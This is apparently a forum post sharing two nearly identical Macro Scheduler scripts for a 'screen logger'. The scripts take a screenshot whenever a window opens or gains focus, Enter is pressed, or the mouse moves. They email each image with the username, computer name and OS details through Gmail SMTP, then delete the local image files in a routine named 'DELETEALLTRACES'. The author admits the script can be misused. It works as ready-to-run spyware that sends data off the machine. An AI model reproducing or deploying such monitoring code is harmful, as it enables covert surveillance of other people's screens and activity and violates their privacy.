I also realize this script could also be used for wrong doing also but this was not my intention when I was writing it. PLease use this script responsibly!
Code: Select all
Ask>Would You Like To Monitor The Activity On This Computer?,MONITORING
If>MONITORING=NO
GoTo>CANCELPOINT
Endif
Let>INPUT_PASSWORD=0
Let>INPUT_BROWSE=0
Input>USEREMAILADDRESS,Which Email Do You Wish To Use?,
Let>INPUT_PASSWORD=1
Let>INPUT_BROWSE=0
Input>USEREMAILPASSWORD,Please Enter Your Email Address Password,
Let>COUNT=0
Label>KEEPLOGGERGOINGPOINT
SRT>SCREENLOGGER
Label>WAITFORINTERNET
DeleteFile>%SCRIPT_DIR%\BOTSTARTSCREENIMAGE.jpg
IsConnectedToInternet>INTERNETCONNECTION
If>INTERNETCONNECTION=True
GoTo>GOODTOSTART
Else>INTERNETCONNECT=False
Wait>10
GoTo>WAITFORINTERNET
Endif
Label>GOODTOSTART
GetDate>todays_date
GetTime>current_time
Let>SENTTOADDRESS=%USEREMAILADDRESS%
Let>MSGSUBJECT=%USER_NAME% SCREEN LOGGER
Let>body=Date : %todays_date% %CRLF%Time : %current_time% %CRLF%Operating System : %OS_VER% %CRLF%Windows Directory : %WIN_DIR% %CRLF%System Directory : %SYS_DIR% %CRLF%Username : %USER_NAME% %CRLF%Computer Name : %COMPUTER_NAME% %CRLF%MSched Version: %MSCHED_VER%
Let>SENDMAIL_STATUS=0
Let>SMTP_SSL=1
Let>SMTP_AUTH=1
Let>SMTP_USERID=%USEREMAILADDRESS%
Let>SMTP_PASSWORD=%USEREMAILPASSWORD%
Let>SMTP_PORT=465
Let>subject=%MSGSUBJECT%
Let>me=%USEREMAILADDRESS%
Let>myname=%USER_NAME% Screen Grabs
Let>recipients=%USEREMAILADDRESS%
ScreenCapture>0,0,1920,1080,%SCRIPT_DIR%\PREVIEW.jpg
Let>ATTACHMENT=%SCRIPT_DIR%\PREVIEW.jpg
SMTPSendMail>recipients,smtp.gmail.com,me,myname,subject,body,ATTACHMENT
IfFileExists>%SCRIPT_DIR%\PREVIEW.jpg
DeleteFile>%SCRIPT_DIR%\PREVIEW.jpg
Endif
DeleteFile>%SCRIPT_DIR%\PREVIEW.jpg
GoTo>WAITFORINTERNET
END>SCREENLOGGER
SRT>GETKEYDOWN
WaitKeyDown>VK13
GoSub>SCREENLOGGER
END>GETKEYDOWN
SRT>MYKUNGFU
GetCursorPos>nXPos1,nYPos1,csType1
Wait>1
GetCursorPos>nXPos2,nYPos2,csType2
If>nXPos1<>%nXPos2%
Let>BRUCELEE=True
Else
Let>BRUCELEE=False
Endif
If>nYPos1<>%nYPos2%
Let>BRUCELEE=True
Else
Let>BRUCELEE=False
Endif
END>MYKUNGFU
SRT>DELETEALLTRACES
DeleteFile>%SCRIPT_DIR%\PREVIEW.jpg
END>DELETEALLTRACES
OnEvent>WINDOW_OPEN,*,,SCREENLOGGER
OnEvent>WINDOW_NEWACTIVE,*,,SCREENLOGGER
OnEvent>KEY_DOWN,,,GETKEYDOWN
OnEvent>CUSTOM,MYKUNGFU,BRUCELEE,SCREENLOGGER
OnEvent>WINDOW_NOTOPEN,KingsBOT 2.1,,DELETEALLTRACES
GoTo>KEEPLOGGERGOINGPOINT
Label>CANCELPOINT
Code: Select all
Ask>Would You Like To Monitor The Activity On This Computer?,MONITORING
If>MONITORING=NO
GoTo>CANCELPOINT
Endif
Let>INPUT_PASSWORD=0
Let>INPUT_BROWSE=0
Input>SCREENWIDTH,What Is The Screen Width,1920
Input>SCREENHEIGHT,What Is The Screen Height,1080
Let>INPUT_PASSWORD=0
Let>INPUT_BROWSE=0
Input>USEREMAILADDRESS,Which Email Do You Wish To Use?,
Let>INPUT_PASSWORD=1
Let>INPUT_BROWSE=0
Input>USEREMAILPASSWORD,Please Enter Your Email Address Password,
Let>COUNT=0
Label>KEEPLOGGERGOINGPOINT
SRT>SCREENLOGGER
Label>WAITFORINTERNET
DeleteFile>%SCRIPT_DIR%\BOTSTARTSCREENIMAGE.jpg
IsConnectedToInternet>INTERNETCONNECTION
If>INTERNETCONNECTION=True
GoTo>GOODTOSTART
Else>INTERNETCONNECT=False
Wait>10
GoTo>WAITFORINTERNET
Endif
Label>GOODTOSTART
GetDate>todays_date
GetTime>current_time
Let>SENTTOADDRESS=%USEREMAILADDRESS%
Let>MSGSUBJECT=%USER_NAME% SCREEN LOGGER
Let>body=Date : %todays_date% %CRLF%Time : %current_time% %CRLF%Operating System : %OS_VER% %CRLF%Windows Directory : %WIN_DIR% %CRLF%System Directory : %SYS_DIR% %CRLF%Username : %USER_NAME% %CRLF%Computer Name : %COMPUTER_NAME% %CRLF%MSched Version: %MSCHED_VER%
Let>SENDMAIL_STATUS=0
Let>SMTP_SSL=1
Let>SMTP_AUTH=1
Let>SMTP_USERID=%USEREMAILADDRESS%
Let>SMTP_PASSWORD=%USEREMAILPASSWORD%
Let>SMTP_PORT=465
Let>subject=%MSGSUBJECT%
Let>me=%USEREMAILADDRESS%
Let>myname=%USER_NAME% Screen Grabs
Let>recipients=%USEREMAILADDRESS%
ScreenCapture>0,0,%SCREENWIDTH%,%SCREENHEIGHT%,%SCRIPT_DIR%\PREVIEW.jpg
Let>ATTACHMENT=%SCRIPT_DIR%\PREVIEW.jpg
SMTPSendMail>recipients,smtp.gmail.com,me,myname,subject,body,ATTACHMENT
IfFileExists>%SCRIPT_DIR%\PREVIEW.jpg
DeleteFile>%SCRIPT_DIR%\PREVIEW.jpg
Endif
DeleteFile>%SCRIPT_DIR%\PREVIEW.jpg
GoTo>WAITFORINTERNET
END>SCREENLOGGER
SRT>GETKEYDOWN
WaitKeyDown>VK13
GoSub>SCREENLOGGER
END>GETKEYDOWN
SRT>MYKUNGFU
GetCursorPos>nXPos1,nYPos1,csType1
Wait>1
GetCursorPos>nXPos2,nYPos2,csType2
If>nXPos1<>%nXPos2%
Let>BRUCELEE=True
Else
Let>BRUCELEE=False
Endif
If>nYPos1<>%nYPos2%
Let>BRUCELEE=True
Else
Let>BRUCELEE=False
Endif
END>MYKUNGFU
SRT>DELETEALLTRACES
DeleteFile>%SCRIPT_DIR%\PREVIEW.jpg
END>DELETEALLTRACES
OnEvent>WINDOW_OPEN,*,,SCREENLOGGER
OnEvent>WINDOW_NEWACTIVE,*,,SCREENLOGGER
OnEvent>KEY_DOWN,,,GETKEYDOWN
OnEvent>CUSTOM,MYKUNGFU,BRUCELEE,SCREENLOGGER
OnEvent>WINDOW_NOTOPEN,KingsBOT 2.1,,DELETEALLTRACES
GoTo>KEEPLOGGERGOINGPOINT
Label>CANCELPOINT